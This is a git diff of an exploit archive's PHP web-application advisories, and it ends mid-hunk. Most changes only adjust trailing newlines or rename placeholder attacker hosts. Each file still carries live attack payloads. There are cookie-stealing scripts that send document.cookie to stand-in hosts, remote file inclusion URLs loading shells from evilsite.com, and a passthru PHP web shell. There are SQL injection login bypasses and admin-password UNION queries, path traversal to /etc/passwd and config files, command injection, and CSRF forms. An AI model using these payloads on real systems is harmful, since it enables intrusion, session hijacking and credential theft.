b/platforms/php/webapps/26213.txt @@ -42,3 +42,4 @@ EXPLOIT POC ################################################################################################################ Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 ################################################################################################################ + \ No newline at end of file diff --git a/platforms/php/webapps/26215.txt b/platforms/php/webapps/26215.txt index 02c648032..a1ff1174a 100755 --- a/platforms/php/webapps/26215.txt +++ b/platforms/php/webapps/26215.txt @@ -4,4 +4,4 @@ FlatNuke is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!-- \ No newline at end of file +http://www.example.com/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!-- \ No newline at end of file diff --git a/platforms/php/webapps/26217.html b/platforms/php/webapps/26217.html index 7e1b23d0f..8750263ba 100755 --- a/platforms/php/webapps/26217.html +++ b/platforms/php/webapps/26217.html @@ -11,4 +11,4 @@ example.html: <input type=hidden name=change_cms_lang value=vx> <input type=submit name=test VALUE="do it"> </form> -EOF \ No newline at end of file +EOF \ No newline at end of file diff --git a/platforms/php/webapps/2622.txt b/platforms/php/webapps/2622.txt index 17f64acde..a91e136e7 100755 --- a/platforms/php/webapps/2622.txt +++ b/platforms/php/webapps/2622.txt @@ -22,7 +22,7 @@ OTSCMS 2.0.0 - 2.1.3 : - Exploit: -http://[target]/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilserver/shell? +http://[target]/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilsite.com/shell? ------------------------------------------------------------------------------------------------------------------- @@ -35,7 +35,7 @@ OTSCMS 1.3.0 - 1.4.1 : - Exploit: -http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilserver/shell? +http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilsite.com/shell? ------------------------------------------------------------------------------------------------------------------- @@ -47,7 +47,7 @@ OTSCMS 1.0.0 - 1.0.3 : - Exploit: -http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilserver/shell? +http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilsite.com/shell? ------------------------------------------------------------------------------------------------------------------ diff --git a/platforms/php/webapps/26223.txt b/platforms/php/webapps/26223.txt index b4957acd8..2b3948f3e 100755 --- a/platforms/php/webapps/26223.txt +++ b/platforms/php/webapps/26223.txt @@ -5,4 +5,4 @@ This issue is due to a failure in the application to properly sanitize user-supp Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. -<script>document.location="http://www.example.com/script?cookie="+escape(document.cookie)</script> \ No newline at end of file +<script>document.location="http://www.example.com/script?cookie="+escape(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26224.txt b/platforms/php/webapps/26224.txt index d0273b1c0..f27703649 100755 --- a/platforms/php/webapps/26224.txt +++ b/platforms/php/webapps/26224.txt @@ -5,4 +5,4 @@ Unclassified NewsBoard is prone to an HTML injection vulnerability. This is due Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. post new message and paste into description field: -</div><script>alert(document.cookie)</script> \ No newline at end of file +</div><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26225.txt b/platforms/php/webapps/26225.txt index cf693d36b..cf65c3f87 100755 --- a/platforms/php/webapps/26225.txt +++ b/platforms/php/webapps/26225.txt @@ -20,4 +20,4 @@ see /etc/passwd file: http://www.example.com/upload/dl/[filename].inc?c=cat%20/etc/passwd see database username and password: -http://www.example.com/upload/dl/[filename].inc?c=cat%20.././config/md-config.php \ No newline at end of file +http://www.example.com/upload/dl/[filename].inc?c=cat%20.././config/md-config.php \ No newline at end of file diff --git a/platforms/php/webapps/26226.txt b/platforms/php/webapps/26226.txt index 16934f12c..b31da5a63 100755 --- a/platforms/php/webapps/26226.txt +++ b/platforms/php/webapps/26226.txt @@ -7,4 +7,4 @@ An attacker may leverage any of these issues to have arbitrary script code execu http://www.example.com/modules.php?op=modload&name=subjects&file=print&print=<script>alert('LOL')</script> http://www.example.com/modules.php?op=modload&name=Messages&file=bb_smilies&sitename=</title><script>alert(LOL')</script> http://www.example.com/modules.php?op=modload&name=Messages&file=bbcode_ref&sitename=</title><script>alert(LOL')</script> -http://www.example.com/javascript/openwindow.php?hlpfile=")<html><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/javascript/openwindow.php?hlpfile=")<html><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26227.txt b/platforms/php/webapps/26227.txt index 9cc51afdb..ed49bda4e 100755 --- a/platforms/php/webapps/26227.txt +++ b/platforms/php/webapps/26227.txt @@ -4,4 +4,4 @@ MyBulletinBoard is prone to a cross-site scripting vulnerability. This is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting administrative user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forumdisplay.php?fid=2&datecut=<http://www.forum.com/forumdisplay.php?fid=2&datecut=>""><script>window.location="http://www.example.com/steal.php?cookie="+document.cookie</script> \ No newline at end of file +http://www.example.com/forumdisplay.php?fid=2&datecut=<http://www.forum.com/forumdisplay.php?fid=2&datecut=>""><script>window.location="http://www.example.com/steal.php?cookie="+document.cookie</script> \ No newline at end of file diff --git a/platforms/php/webapps/26228.txt b/platforms/php/webapps/26228.txt index b6cf651eb..ab36c5e2a 100755 --- a/platforms/php/webapps/26228.txt +++ b/platforms/php/webapps/26228.txt @@ -15,4 +15,4 @@ of the http header as follows: Content-Disposition: form-data; name="icon"\r\n \r\n --1') [SQL] /*\r\n \ No newline at end of file +-1') [SQL] /*\r\n \ No newline at end of file diff --git a/platforms/php/webapps/26229.txt b/platforms/php/webapps/26229.txt index 734bd779b..0b1b28975 100755 --- a/platforms/php/webapps/26229.txt +++ b/platforms/php/webapps/26229.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/[path]/webadmin/login.php and use this: login: ' or isnull(1/0) /* -password: [nothing here] \ No newline at end of file +password: [nothing here] \ No newline at end of file diff --git a/platforms/php/webapps/2623.pl b/platforms/php/webapps/2623.pl index 85378220a..a1dfc4108 100755 --- a/platforms/php/webapps/2623.pl +++ b/platforms/php/webapps/2623.pl @@ -7,7 +7,7 @@ # Url: http://lbdpc15.epfl.ch/~ibd/IBD2000/SourceForge-1.0.4.tgz # # Exploit: -# http://server/[path]/include/database.php?sys_dbtype=[Evil_Script] +# http://site.com/[path]/include/database.php?sys_dbtype=[Evil_Script] # # (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com> # @@ -40,8 +40,8 @@ $path = $path."/include/database.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/26231.txt b/platforms/php/webapps/26231.txt index 63bcf95cb..4072ac066 100755 --- a/platforms/php/webapps/26231.txt +++ b/platforms/php/webapps/26231.txt @@ -4,4 +4,4 @@ PBLang is affected by a directory traversal vulnerability. This issue is due to Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. -http://www.example.com/pblang/setcookie.php?u=../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/pblang/setcookie.php?u=../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/26232.txt b/platforms/php/webapps/26232.txt index 7618297d3..ae9f6e178 100755 --- a/platforms/php/webapps/26232.txt +++ b/platforms/php/webapps/26232.txt @@ -19,4 +19,4 @@ http://www.example.com/[path]/event.php?CeTi=</title><script>alert('LOL')</scrip http://www.example.com/[path]/event.php?Contact=<script>alert('LOL')</script> http://www.example.com/[path]/event.php?Description=<script>alert('LOL')</script> http://www.example.com/[path]/event.php?ShowAddress=<script>alert('LOL')</script> -http://www.example.com/[path]/week.php?font="><script>alert('LOL')</script> \ No newline at end of file +http://www.example.com/[path]/week.php?font="><script>alert('LOL')</script> \ No newline at end of file diff --git a/platforms/php/webapps/26235.txt b/platforms/php/webapps/26235.txt index 5e2d7548e..cb8a4ffea 100755 --- a/platforms/php/webapps/26235.txt +++ b/platforms/php/webapps/26235.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/include_this/news.php?cat=[SQL] http://www.example.com/include_this/news.php?id=[SQL] -http://www.example.com/include_this/news.php?stof=[SQL] \ No newline at end of file +http://www.example.com/include_this/news.php?stof=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26237.txt b/platforms/php/webapps/26237.txt index 1d22274bf..1d09b2283 100755 --- a/platforms/php/webapps/26237.txt +++ b/platforms/php/webapps/26237.txt @@ -8,4 +8,4 @@ This issue may be leveraged to execute arbitrary server-side script code on an a aMember Pro 2.3.4 is reportedly affected, other versions may also be vulnerable. -config[root_dir]=http://example.com/evil.php? \ No newline at end of file +config[root_dir]=http://example.com/evil.php? \ No newline at end of file diff --git a/platforms/php/webapps/26244.txt b/platforms/php/webapps/26244.txt index b8304ce63..e264c7622 100755 --- a/platforms/php/webapps/26244.txt +++ b/platforms/php/webapps/26244.txt @@ -23,7 +23,7 @@ john"><img src=x onerror=prompt(0);> <html> <body onload=document.forms[0].submit();> - <form action="http://webserver/customers/index.php" method="POST"> + <form action="http://website.com/customers/index.php" method="POST"> <input type="hidden" name="task" value="my_account" /> <input type="hidden" name="tab" value="my_info" /> <input type="hidden" name="update_my_info" value="y" /> @@ -43,7 +43,7 @@ value="Save Changes" /> <html> <body onload=document.forms[0].submit();> - <form action="http://webserver/customers/index.php" method="POST"> + <form action="http://website.com/customers/index.php" method="POST"> <input type="hidden" name="task" value="my_account" /> <input type="hidden" name="tab" value="security_question" /> <input type="hidden" name="change_security_question" diff --git a/platforms/php/webapps/26247.txt b/platforms/php/webapps/26247.txt index 9516aeb72..75a9eab63 100755 --- a/platforms/php/webapps/26247.txt +++ b/platforms/php/webapps/26247.txt @@ -19,4 +19,4 @@ Successful exploitation could result in a compromise of the application, disclos <!-- start: gobutton --> <input type="submit" value="Go" /> <!-- end: gobutton --> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/26252.txt b/platforms/php/webapps/26252.txt index f9962aadc..a5ff901d2 100755 --- a/platforms/php/webapps/26252.txt +++ b/platforms/php/webapps/26252.txt @@ -7,4 +7,4 @@ Exploitation of this vulnerability could lead to a loss of confidentiality as ar Subscribe Me Pro 2.044.09P and prior are affected by this vulnerability. http://www.example.com/[dir]/s.pl?e=1&subscribe=subscribe&l=../../../../../../../../etc/passwd%00&SUBMIT=%20%20Submit%20%20 -http://www.example.com/[dir]/s.pl?e=enter%20your%20email%20address%20here&subscribe=subscribe&l=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/[dir]/s.pl?e=enter%20your%20email%20address%20here&subscribe=subscribe&l=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/26254.txt b/platforms/php/webapps/26254.txt index 5d8279cc3..f564a9c53 100755 --- a/platforms/php/webapps/26254.txt +++ b/platforms/php/webapps/26254.txt @@ -4,4 +4,4 @@ Land Down Under is prone to multiple SQL injection vulnerabilities. These issues Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/plug.php?e=topitems';AND%20THIS=LAME \ No newline at end of file +http://www.example.com/plug.php?e=topitems';AND%20THIS=LAME \ No newline at end of file diff --git a/platforms/php/webapps/26257.txt b/platforms/php/webapps/26257.txt index 5476b0b6f..8d175e52b 100755 --- a/platforms/php/webapps/26257.txt +++ b/platforms/php/webapps/26257.txt @@ -8,4 +8,4 @@ go to http://www.example.com/atutor/password_reminder.php and in the email field type: -' UNION SELECT login, password, 'your_email@example.com' FROM AT_admins /* \ No newline at end of file +' UNION SELECT login, password, 'your_email@example.com' FROM AT_admins /* \ No newline at end of file diff --git a/platforms/php/webapps/26258.txt b/platforms/php/webapps/26258.txt index 8b7c2a590..a0a3670dd 100755 --- a/platforms/php/webapps/26258.txt +++ b/platforms/php/webapps/26258.txt @@ -6,4 +6,4 @@ A remote attacker can exploit this vulnerability and make repeated GET requests http://www.example.com/atutor/content/chat/2/msgs/1.message http://www.example.com/atutor/content/chat/2/msgs/2.message -http://www.example.com/atutor/content/chat/2/msgs/3.message \ No newline at end of file +http://www.example.com/atutor/content/chat/2/msgs/3.message \ No newline at end of file diff --git a/platforms/php/webapps/26259.txt b/platforms/php/webapps/26259.txt index cd5fdd57d..5bdef065f 100755 --- a/platforms/php/webapps/26259.txt +++ b/platforms/php/webapps/26259.txt @@ -4,4 +4,4 @@ Noah's Classifieds is prone to an SQL injection vulnerability. This is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4' \ No newline at end of file +http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4' \ No newline at end of file diff --git a/platforms/php/webapps/2626.txt b/platforms/php/webapps/2626.txt index 7adcd6430..457892053 100755 --- a/platforms/php/webapps/2626.txt +++ b/platforms/php/webapps/2626.txt @@ -33,9 +33,9 @@ # # # ExPloit : -# http://www.server/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php? +# http://www.site.com/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php? # -# http://www.server/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php? +# http://www.site.com/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php? # # # diff --git a/platforms/php/webapps/26260.txt b/platforms/php/webapps/26260.txt index 0cdc157cf..040dc4775 100755 --- a/platforms/php/webapps/26260.txt +++ b/platforms/php/webapps/26260.txt @@ -6,4 +6,4 @@ The revision control function of the TWikiUsers script uses the backtick shell m This attack would occur in the context of the vulnerable application and can facilitate unauthorized remote access. -http://www.example.com/cgi-bin/view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd \ No newline at end of file +http://www.example.com/cgi-bin/view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/26261.txt b/platforms/php/webapps/26261.txt index 286e83fa5..db171be87 100755 --- a/platforms/php/webapps/26261.txt +++ b/platforms/php/webapps/26261.txt @@ -5,4 +5,4 @@ Noah's Classifieds is prone to a cross-site scripting vulnerability. This issue An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4'<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4'<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26262.txt b/platforms/php/webapps/26262.txt index 3841dec31..fa68bd606 100755 --- a/platforms/php/webapps/26262.txt +++ b/platforms/php/webapps/26262.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos The following is sufficient to gain administrative privileges: login: " or isnull(1/0) /* -password: [whatever] \ No newline at end of file +password: [whatever] \ No newline at end of file diff --git a/platforms/php/webapps/26263.txt b/platforms/php/webapps/26263.txt index 2c1aa0bf0..6ef9221d0 100755 --- a/platforms/php/webapps/26263.txt +++ b/platforms/php/webapps/26263.txt @@ -4,4 +4,4 @@ AEwebworks aeDating is prone to an SQL injection vulnerability. This is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/search_result.php?Sex=male&LookingFor=female&DateOfBirth_start=18&DateOfBirth_end=40&Country%5B%5D=0UNION \ No newline at end of file +http://www.example.com/search_result.php?Sex=male&LookingFor=female&DateOfBirth_start=18&DateOfBirth_end=40&Country%5B%5D=0UNION \ No newline at end of file diff --git a/platforms/php/webapps/26268.txt b/platforms/php/webapps/26268.txt index 8212321bf..a439153c3 100755 --- a/platforms/php/webapps/26268.txt +++ b/platforms/php/webapps/26268.txt @@ -4,4 +4,4 @@ DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/newpost.php?sub=newthread&fid=[code] \ No newline at end of file +http://www.example.com/newpost.php?sub=newthread&fid=[code] \ No newline at end of file diff --git a/platforms/php/webapps/2627.txt b/platforms/php/webapps/2627.txt index 8ce8773e0..a47d71d39 100755 --- a/platforms/php/webapps/2627.txt +++ b/platforms/php/webapps/2627.txt @@ -29,7 +29,7 @@ # # # ExPloit : -# http://www.server/jaws_PATH/html/include/JawsDB.php?path=[Evil Script] +# http://www.site.com/jaws_PATH/html/include/JawsDB.php?path=[Evil Script] # # # diff --git a/platforms/php/webapps/26270.txt b/platforms/php/webapps/26270.txt index e2ae01108..f697ce748 100755 --- a/platforms/php/webapps/26270.txt +++ b/platforms/php/webapps/26270.txt @@ -17,4 +17,4 @@ aka %27);%3C/script%3E&site=impressum File Inclusion -------------- -http://www.example.com/index.php?show=[file]&cat=news_archiv&start=1 \ No newline at end of file +http://www.example.com/index.php?show=[file]&cat=news_archiv&start=1 \ No newline at end of file diff --git a/platforms/php/webapps/26272.txt b/platforms/php/webapps/26272.txt index b704724a9..70edb1047 100755 --- a/platforms/php/webapps/26272.txt +++ b/platforms/php/webapps/26272.txt @@ -4,4 +4,4 @@ EPay Pro is prone to a directory traversal vulnerability. This is due to a lack An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. -http://www.example.com/index.php?read=../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/index.php?read=../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/26277.txt b/platforms/php/webapps/26277.txt index b5dbe9747..7abef6b8c 100755 --- a/platforms/php/webapps/26277.txt +++ b/platforms/php/webapps/26277.txt @@ -5,4 +5,4 @@ NooToplist is prone to multiple SQL injection vulnerabilities. These issues are Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/index.php?o='[SQL INJECTION] -http://www.example.com/index.php?sort='[SQL INJECTION] \ No newline at end of file +http://www.example.com/index.php?sort='[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/2628.pl b/platforms/php/webapps/2628.pl index 5b16be86d..e5f4814f3 100755 --- a/platforms/php/webapps/2628.pl +++ b/platforms/php/webapps/2628.pl @@ -7,7 +7,7 @@ # Url: http://jumbacms.googlecode.com/svn/trunk/ # # Exploit: -# http://server/[path]/includes/functions.php?jcms_root_path=[Evil_Script] +# http://site.com/[path]/includes/functions.php?jcms_root_path=[Evil_Script] # w0rks only if php<5 ! c0de: # if (version_compare(phpversion(), "5.0.0", "<")) # { @@ -45,8 +45,8 @@ $path = $path."/includes/functions.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/26284.txt b/platforms/php/webapps/26284.txt index b8fa40318..afa9a44f2 100755 --- a/platforms/php/webapps/26284.txt +++ b/platforms/php/webapps/26284.txt @@ -6,4 +6,4 @@ Successful exploitation could allow an attacker to compromise the application, a http://www.example.com/index.php?mod=pages&idp='[SQL INJECTION] http://www.example.com/index.php?mod=pages&id_ctg='[SQL INJECTION] -http://www.example.com/index.php?mod=pages&id_prd='[SQL INJECTION] \ No newline at end of file +http://www.example.com/index.php?mod=pages&id_prd='[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/26285.txt b/platforms/php/webapps/26285.txt index bcabf7a59..7cf9f4bf4 100755 --- a/platforms/php/webapps/26285.txt +++ b/platforms/php/webapps/26285.txt @@ -30,4 +30,4 @@ Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive -Cookie: PHPSESSID=12345") <!-- Session ID --!> \ No newline at end of file +Cookie: PHPSESSID=12345") <!-- Session ID --!> \ No newline at end of file diff --git a/platforms/php/webapps/26286.txt b/platforms/php/webapps/26286.txt index 0b1472b84..f35f2a65d 100755 --- a/platforms/php/webapps/26286.txt +++ b/platforms/php/webapps/26286.txt @@ -10,11 +10,11 @@ http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../e http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../etc&filename=passwd http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc/passwd%00 http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc&filename=passwd -http://www.example.com/phpatm/viewers/htm.php?current_dir=http://www.aserver%00 -http://www.example.com/phpatm/html.php?current_dir=http:/&filename=www.aserver +http://www.example.com/phpatm/viewers/htm.php?current_dir=http://www.asite.com%00 +http://www.example.com/phpatm/html.php?current_dir=http:/&filename=www.asite.com http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../../[filename].zip%00 http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../..&filename=[filename].zip http://www.example.com/phpatm/viewers/txt.php?current_dir=../include&filename=conf.php http://www.example.com/phpatmviewers/txt.php?current_dir=../userstat&filename=[admin_name].stat http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/admin%00 -http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/[admin_name]%00 \ No newline at end of file +http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/[admin_name]%00 \ No newline at end of file diff --git a/platforms/php/webapps/26287.txt b/platforms/php/webapps/26287.txt index bd12fe177..99ceebf10 100755 --- a/platforms/php/webapps/26287.txt +++ b/platforms/php/webapps/26287.txt @@ -6,4 +6,4 @@ An attacker may leverage any of these issues to have arbitrary script code execu http://www.example.com/phpatm/viewers/txt.php?font=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/phpatm/viewers/txt.php?normalfontcolor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/phpatm/viewers/txt.php?mess[31]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/phpatm/viewers/txt.php?mess[31]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26293.txt b/platforms/php/webapps/26293.txt index a08c60768..c0a3c5b73 100755 --- a/platforms/php/webapps/26293.txt +++ b/platforms/php/webapps/26293.txt @@ -4,4 +4,4 @@ JPortal is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/* \ No newline at end of file +a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/* \ No newline at end of file diff --git a/platforms/php/webapps/26294.txt b/platforms/php/webapps/26294.txt index 17fe36928..17562ad52 100755 --- a/platforms/php/webapps/26294.txt +++ b/platforms/php/webapps/26294.txt @@ -8,4 +8,4 @@ phpMyFAQ version 1.5.1 is reported prone to this vulnerability. switch to /admin directory, click on "forgotten password" feature user: ' or isnull(1/0) /* -mail: [your_email] \ No newline at end of file +mail: [your_email] \ No newline at end of file diff --git a/platforms/php/webapps/26295.txt b/platforms/php/webapps/26295.txt index a0207e593..09eb8e679 100755 --- a/platforms/php/webapps/26295.txt +++ b/platforms/php/webapps/26295.txt @@ -7,4 +7,4 @@ These issues are due to a failure in the application to properly sanitize user-s An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. Exploitation of these vulnerabilities may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script> -http://www.example.com/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26296.txt b/platforms/php/webapps/26296.txt index b8d2919e4..983c06c55 100755 --- a/platforms/php/webapps/26296.txt +++ b/platforms/php/webapps/26296.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. http://www.example.com/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00 -http://www.example.com/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname] \ No newline at end of file +http://www.example.com/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname] \ No newline at end of file diff --git a/platforms/php/webapps/26297.txt b/platforms/php/webapps/26297.txt index 54b100e6c..487519fc3 100755 --- a/platforms/php/webapps/26297.txt +++ b/platforms/php/webapps/26297.txt @@ -5,4 +5,4 @@ PHPMyFAQ is prone to an unauthorized access vulnerability. A remote attacker can This vulnerability could lead to the disclosure of various valid usernames, which could aid in brute force attacks; information obtained may aid an attacker in further attacks. The following proof of concept is available where [date] is the date of a log file entry: -http://www.example.com/phpmyfaq/data/tracking[date] \ No newline at end of file +http://www.example.com/phpmyfaq/data/tracking[date] \ No newline at end of file diff --git a/platforms/php/webapps/26298.txt b/platforms/php/webapps/26298.txt index b59c1862f..ed2a0c033 100755 --- a/platforms/php/webapps/26298.txt +++ b/platforms/php/webapps/26298.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue is reported to affect CMS Made Simple version 0.10; other versions may also be vulnerable. -http://www.example.com/index.php?page=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/index.php?page=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/26300.txt b/platforms/php/webapps/26300.txt index 5099afb1f..da78878fd 100755 --- a/platforms/php/webapps/26300.txt +++ b/platforms/php/webapps/26300.txt @@ -5,4 +5,4 @@ lucidCMS is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/[cms]/index.php?<script>alert(document.cookie);</script> -http://www.example.com/[cms]/?<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/[cms]/?<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/26302.txt b/platforms/php/webapps/26302.txt index 7bb171c27..00e4fdd50 100755 --- a/platforms/php/webapps/26302.txt +++ b/platforms/php/webapps/26302.txt @@ -6,4 +6,4 @@ The revision control function of the TWikiUsers script uses the backtick shell m This attack would occur in the context of the vulnerable application and can facilitate unauthorized remote access. -%INCLUDE{ "Main.TWikiUsers" rev="2|less /etc/passwd" }% \ No newline at end of file +%INCLUDE{ "Main.TWikiUsers" rev="2|less /etc/passwd" }% \ No newline at end of file diff --git a/platforms/php/webapps/26303.txt b/platforms/php/webapps/26303.txt index 4369c6cd3..91eea0347 100755 --- a/platforms/php/webapps/26303.txt +++ b/platforms/php/webapps/26303.txt @@ -5,4 +5,4 @@ CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/cc3/index.php?searchStr=%3D%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&act=viewCat&Submit=Go -http://www.example.com/cc3/index.php?act=login&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP2FjdD12aWV3RG9jJmFtcDtkb2NJZD0x[XSS-CODE] \ No newline at end of file +http://www.example.com/cc3/index.php?act=login&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP2FjdD12aWV3RG9jJmFtcDtkb2NJZD0x[XSS-CODE] \ No newline at end of file diff --git a/platforms/php/webapps/26307.txt b/platforms/php/webapps/26307.txt index 49c079ebd..ee1c07ec8 100755 --- a/platforms/php/webapps/26307.txt +++ 